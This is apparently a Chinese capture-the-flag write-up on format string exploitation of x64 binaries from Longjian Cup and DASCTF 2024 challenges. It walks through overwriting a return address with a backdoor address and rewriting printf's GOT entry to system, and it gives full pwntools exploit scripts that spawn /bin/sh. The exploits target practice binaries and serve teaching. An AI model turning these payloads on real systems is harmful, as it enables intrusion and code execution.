通过格式化字符串漏洞修改函数的返回地址

我将通过例题来说明,话不多说直接上题

https://pan.baidu.com/s/1bWKL-y2KVU1Iob5XODRshw (tcm:chen)

这个是第二届陇剑杯线下的题算是比较入门的格式化字符串的题了。

先查看其保护(我用的虚拟机版本是18.04)

在ida中打开分析

可以看到只有一个输入和输出,并且该程序循环只进行一次,执行完printf函数后,程序便exit退出,最重要的一点是该程序存在格式化字符串漏洞。

一开始我想的是,通过修改printf函数的got表来进行操作,可是该程序执行完后便退出了,根本不会再次执行printf函数,

后面我才看到原来此程序是有后门的,我们可以修改printf函数的返回地址为后门,便可以getshell。

说干就干,首先我们先在gdb中找到printf的返回地址

我们可以看到printf的返回地址是<__libc_start_main+231>,我们的目的就是将这个函数的地址修改为后门函数的地址(4006F8)。

我们通过命令查看修改该字段的偏移

对应写出其exp:

from pwn import*
context.log_level='debug'
p=process("./fmt3_x64")
elf=ELF("fmt3_x64")
printf_got=elf.got['printf']
gdb.attach(p)
payload=b"%"+str(0x4006f8)+"c%11$lln" #后门函数的地址

p.send(payload)

p.interactive()

注:%n表示将0x64写入偏移10处保存的指针所指向的地址(4字节)

​ %hn表示写入的地址空间为2字节

​ %h h n 表 示 写 入 的 地 址 空 间 为 1 字 节

​ %lln表示写入的地址空间为8字节

可是却没有成功getshell

原因很显而易见栈没对齐,一般情况下加个retn补齐那8个字节就行了,但是咱们这个直接修改返回地址的,添加retn是很麻烦的(貌似就行不通)。这里还有一个办法,后门函数的地址+1,这样就打通了,那么为什么呢?

我们查看后门函数的汇编

首先我们知道 retnde作用就相当于pop rip ,使地址增加8个字节,达到补齐的目的而push命令刚好与之相反,我们这里不后门函数的地址(0x4006f8),而是用(0x4006f9)的原因就是略过push从而达到添加retn的目的。

所以正确的exp:

from pwn import*
context.log_level='debug'
p=process("./fmt3_x64")
elf=ELF("fmt3_x64")
printf_got=elf.got['printf']
gdb.attach(p)
payload=b"%"+str(0x4006f9)+"c%11$lln"
p.send(payload)

p.interactive()

通过格式化字符串漏洞篡改函数的got表

并且我只会修改一次两个字节函数的got表,并且还不是太理解。

这里也是通过例题来说明

链接:https://pan.baidu.com/s/1QSIcCEj96SwL0XEJxIvc3g (tcm:chen)

这个也是第二届陇剑杯线下的格式化字符串的题,但是比刚才的稍微难一点,难就难在了篡改got表。

同样的先查看保护(养成习惯)

再查看ida

可以看到这个程序首先会先输出一段英文,然后能“一直”输入和输出,当你输入“exit”时程序会直接退出,但是这个程序并没有后门,所以上面的那个方法自然不能使用,但是这个程序能“无限”循环,所以可以将printf的got表改为system,这样便可以getshell。

我们来说一下大致解题思路:

1 利用printf和格式化字符串漏洞来泄露printf函数的got表(注意偏移来正确泄露);

2 对比system got表地址和printf再次利用格式化字符串漏洞,按字节进行修改;

3 修改正确后输入“/bin/sh”得到shell。

接下来我重点讲讲第2个的方法

可以发现只有后3个字节不一样我们再次查看

%n表示将0x64写入偏移10处保存的指针所指向的地址(4字节)

%hn表示写入的地址空间为2字节

%h h n 表 示 写 入 的 地 址 空 间 为 1 字 节

%lln表示写入的地址空间为8字节

我们可以用%hn和%hhn两个搭配,通过一次写两个来进行修改

举个例子,我们可以把69改为67,1e40改为c420,这样printf就改为了system。

payload2 = "%" + str(high_sys) + "c%10$hhn" + "%" + str(low_sys-high_sys) + "c%11$hn"
payload2 = payload2.ljust(32,"A") + p64(printf_got + 2) + p64(printf_got)

上面的代码 我们就是把printf_got + 2的最后一个字节改为了high_sys

​ printf的地址最后两个字节改为low_sys

那么现在就有3个问题

1:为什么要printf_got + 2?

​ 因为我们修改字节的时候只能从后面的字节往前面修改,当我们用printf_got + 2的时候,我们就可以把倒数第三个字节弄到最后面,然后进行修改。

2:为什么要第二个修改要用str(low_sys-high_sys)?

因为我们之前输入的是%str(high_sys) c%个数据,当我们再次输入%str(low_sys)时数据就会多算进去%str(high_sys) c%,因此我们把它减掉就行啦。

3:payload2.ljust(32,”A”)是干嘛的

​ 为了补齐,方便后面的修改。

修改之前:

修改之后:

完整exp:

from pwn import*
context.log_level='debug'
p=process("./fmt2_x64")
#libc=ELF("/home/zikh/Desktop/libc-2.23.so")
elf=ELF("./fmt2_x64")
printf_got = elf.got["printf"]
gdb.attach(p)
#payload=p64(printf_got)+b"%6$s"
payload=b"%7$s"+b"aaaa"+p64(printf_got)
p.send(payload)
leak=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
print("printf_addr===>{}".format(hex(leak)))
system=leak-0x15a20
print("system_addr===>{}".format(hex(system)))
high_sys = ( system >> 16 ) & 0xff
low_sys = system& 0xffff
print(hex(high_sys))
print(hex(low_sys))
payload2 = "%" + str(high_sys) + "c%10$hhn" + "%" + str(low_sys-high_sys) + "c%11$hn"
payload2 = payload2.ljust(32,"A") + p64(printf_got + 2) + p64(printf_got)
p.sendline(payload2)
p.interactive()

最后在输入/bin/sh就行啦。

后续新增:

DASCTF X HDCTF 2024 公开赛

下载地址

https://pan.baidu.com/share/init?surl=C7c3wrjyPTVf-mTlWvfgoQ?pwd=chen

一次输入篡改不在栈上的一个地址

exp:
from pwn import*
context.log_level="debug"
p=process("./buupwn1")
#p=remote("node5.buuoj.cn",26615)
elf=ELF("./buupwn1")

p.recvuntil(b"Gift addr: ")
leak=int(p.recv(12),16)
low=leak&0xffff
gai=(low-0x28)
print(hex(gai))
print("leak===>",hex(leak))
p.recvuntil(b"Please leave your message: ")
#改exit的got表
payload=b'%p'*6
payload+=b'%'+str(0x404018-0x27).encode()+b'c%lln' #先进栈
payload+=b'%'+str(0x4012dd-0x4018+0x62-0x104).encode()+b'c%47$hn' #改got
payload=payload.ljust(0x200,b'\x00')
p.send(payload)
gdb.attach(p,"b *0x401361")
p.recvuntil("Please leave your message: ")
#pause()
payload=b"%3$p"
p.send(payload)
p.recvuntil(b"Please leave your message: ")
p.recvuntil(b"0x")
leak=int(p.recv(12),16)
print("leak=======>",hex(leak))
libc_base=leak-0x10e1f2
system=libc_base+0x52290
back=(system>>8)&0xffff
print("bask====>",hex(back))
p.recvuntil(b"Please leave your message: ")
#改printf为system
payload=b'%p'*14
payload+=b'%'+str(0x404028-0x28-0x37-1).encode()+b'c%lln'
payload+=b'%'+str(back+0xbfd7).encode()+b'c%28$hn'
payload+=b'%'+str(0x401337-back).encode()+b'c%83$hn'
p.send(payload)
p.sendline("/bin/sh\x00")
p.interactive()